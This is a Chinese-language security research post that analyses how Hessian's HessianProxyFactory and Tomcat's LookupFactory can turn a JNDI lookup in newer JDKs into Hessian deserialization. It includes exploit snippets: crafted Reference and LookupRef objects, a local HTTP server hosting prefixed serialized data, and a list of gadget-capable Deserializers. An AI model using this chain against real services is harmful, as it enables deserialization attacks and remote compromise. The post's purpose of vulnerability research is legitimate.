HessianProxy
浅蓝师傅在 探索高版本 JDK 下 JNDI 漏洞的利用方法 中提到过HessianProxyFactory这个工厂类。可以触发Hessian反序列化。
getObjectInstance代码如下:
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception {
    Reference ref = (Reference) obj;
    String api = null;
    String url = null;
    for (int i = 0; i < ref.size(); i++) {
        RefAddr addr = ref.get(i);
        String type = addr.getType();
        String value = (String) addr.getContent();
        if (type.equals("type"))
        api = value;
        else if (type.equals("url"))
        url = value;
        .........
    }
    .........
    Class apiClass = Class.forName(api, false, _loader);
    return create(apiClass, url);
}
从reference参数中获取api和url,调用create,代码如下:
public Object create(Class<?> api, URL url, ClassLoader loader) {
    if (api == null)
        throw new NullPointerException("api must not be null for HessianProxyFactory.create()");
    InvocationHandler handler = null;
    handler = new HessianProxy(url, this, api);
    return Proxy.newProxyInstance(loader, 
        new Class[] { 
            api, 
            HessianRemoteObject.class 
        },
        handler
    );
}
传入的api为接口类名,创建了一个动态代理,handler会访问url获取数据。
代理的invoke方法代码如下:
conn = sendRequest(mangleName, args);
is = getInputStream(conn);
......
AbstractHessianInput in;
int code = is.read();
if (code == 'H') {
    int major = is.read();
    int minor = is.read();
    in = _factory.getHessian2Input(is);
    Object value = in.readReply(method.getReturnType());
    .......
访问url,前三个字节应该是控制版本不需要变。
readReply方法代码如下:
public Object readReply(Class expectedClass) throws Throwable {
    int tag = read();
    if (tag == 'R')
        return readObject(expectedClass);
    else if (tag == 'F') {
        HashMap map = (HashMap) readObject(HashMap.class);
        throw prepareFault(map);
    }
    .........
}
expectedClass是所代理方法的返回值类型。第四个字节为R则反序列化成expectedClass,若为F则反序列化成HashMap
readObject方法里会根据expectedClass获取Deserializer
Deserializer reader = findSerializerFactory().getDeserializer(cl);
使用不同的Deserializer可以将反序列化的结果限制成不同的类型。
主动触发invoke
写一个接口com.demo.LocalTest
package com.demo;
public interface LocalTest {
    public void test();
}
发送以下Reference:
Reference ref = new Reference("javax.lang.String", "com.caucho.hessian.client.HessianProxyFactory", null);
ref.add(new StringRefAddr("type", "com.demo.LocalTest"));
ref.add(new StringRefAddr("url", "http://127.0.0.1:7000/exp"));
7000端口HTTP server部署文件/exp
// 将序列化数据添加前缀并写入/exp
String data = "hessian ser data base64 encoded";
byte[] code = Base64.getDecoder().decode(data);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try {
    byteArrayOutputStream.write(new byte[]{72, 2, 0, 82});
    // 添加前缀使其进入readObject方法。
    byteArrayOutputStream.write(code);
jndi lookup后主动调用test方法:
String url = "ldap://127.0.0.1:1389/test";
InitialContext initialContext = new InitialContext();
LocalTest test = (LocalTest) initialContext.lookup(url);
test.test();
toString入口
如果序列化数据最外层是一个HashMap会调用Deserializer的readMap方法
com.demo.LocalTest#test的返回值为void
根据void获得的Deserializer是BasicDeserializer,这个类的readMap方法实现如下:
public Object readMap(AbstractHessianInput in) throws IOException {
    Object obj = in.readObject();
    String className = getClass().getName();
    if (obj != null)
        throw error(className + ": unexpected object " + obj.getClass().getName() + " (" + obj + ")");
    else
        throw error(className + ": unexpected null value");
}
在readMap里继续反序列化内部对象不再受到Deserializer限制,是正常的Hessian反序列化,但无论obj为什么类型,BasicDeserializer都不允许,会保存,但throw时可以触发toString
正常Hessian反序列化
原本常规的那些需要hashCode、equals触发的Hessian反序列化链需要再套一层HashMap才行。
其他可利用的Deserializer
既然BasicDeserializer可以触发toString,那可以找找其他有危险操作的Deserializer的实现类。
大致找了找:
toString
AbstractListDeserializer#readObjectAbstractMapDeserializer#readObjectBasicDeserializer#readMapJavaDeserializerUnsafeDeserializer
equals
AbstractStreamDeserializer#readMapAbstractStringValueDeserializer#readMap
newInstance
ArrayDeserializer#createArrayBeanDeserializer#instantiateCollectionDeserializer#createListJavaDeserializerSqlDateDeserializerStringValueDeserializerUnsafeDeserializer
Method.invoke
BeanDeserializer#readMapEnumDeserializer#createJavaDeserializerUnsafeDeserializer
lookup
RemoteDeserializer
自动触发invoke
上面提到想要触发反序列化需要代用代理的invoke,靠手动触发没什么意义。所以要在lookup过程中触发代理的invoke。
浅蓝师傅在文章中使用的LookupRef
payload:
LookupRef ref = new LookupRef("java.lang.String","look");
ref.add(new StringRefAddr("factory", "com.caucho.hessian.client.HessianProxyFactory"));
ref.add(new StringRefAddr("type", "java.lang.AutoCloseable"));
ref.add(new StringRefAddr("url", "http://127.0.0.1:7000/exp"));
LookupFactory的getObjectInstance方法的代码如下:
if (factory != null) {
    result = factory.getObjectInstance(obj, name, nameCtx, environment);
} else {
    if (lookupName == null) {
        throw new NamingException(sm.getString("lookupFactory.createFailed"));
    } else {
        result = new InitialContext().lookup(lookupName);
    }
}
Class<?> clazz = Class.forName(ref.getClassName());
if (result != null && !clazz.isAssignableFrom(result.getClass())) {
    String msg = sm.getString("lookupFactory.typeMismatch",
            name, ref.getClassName(), lookupName, result.getClass().getName());
    NamingException ne = new NamingException(msg);
    log.warn(msg, ne);
    // Close the resource we no longer need if we know how to do so
    if (result instanceof AutoCloseable) {
        try {
            ((AutoCloseable) result).close();
........
可以将LookupRef看做是Reference的Reference,能够调用代理的AutoCloseable#close方法。这个方法的返回值为void,所以能够触发toString
堆栈:
com.demo.Test -> toString
java.lang.String -> valueOf
java.lang.StringBuilder -> append
com.caucho.hessian.io.AbstractDeserializer -> readMap
com.caucho.hessian.io.Hessian2Input -> readObject
com.caucho.hessian.io.Hessian2Input -> readReply
com.caucho.hessian.client.HessianProxy -> invoke
jdk.proxy1.$Proxy0 -> close
org.apache.naming.factory.LookupFactory -> getObjectInstance
javax.naming.spi.DirectoryManager -> getObjectInstance
com.sun.jndi.ldap.LdapCtx -> c_lookup
com.sun.jndi.toolkit.ctx.ComponentContext -> p_lookup
com.sun.jndi.toolkit.ctx.PartialCompositeContext -> lookup
com.sun.jndi.toolkit.url.GenericURLContext -> lookup
com.sun.jndi.url.ldap.ldapURLContext -> lookup
javax.naming.InitialContext -> lookup
但除了LookupRef配合AutoCloseable,在jdk17的工厂类和jndi lookup流程中我没有找到其他的能够触发invoke的地方。
总结
花了不少时间去找能利用的类,感觉这种利用方式意义不大。
但至少能自动触发toString还是有收获的。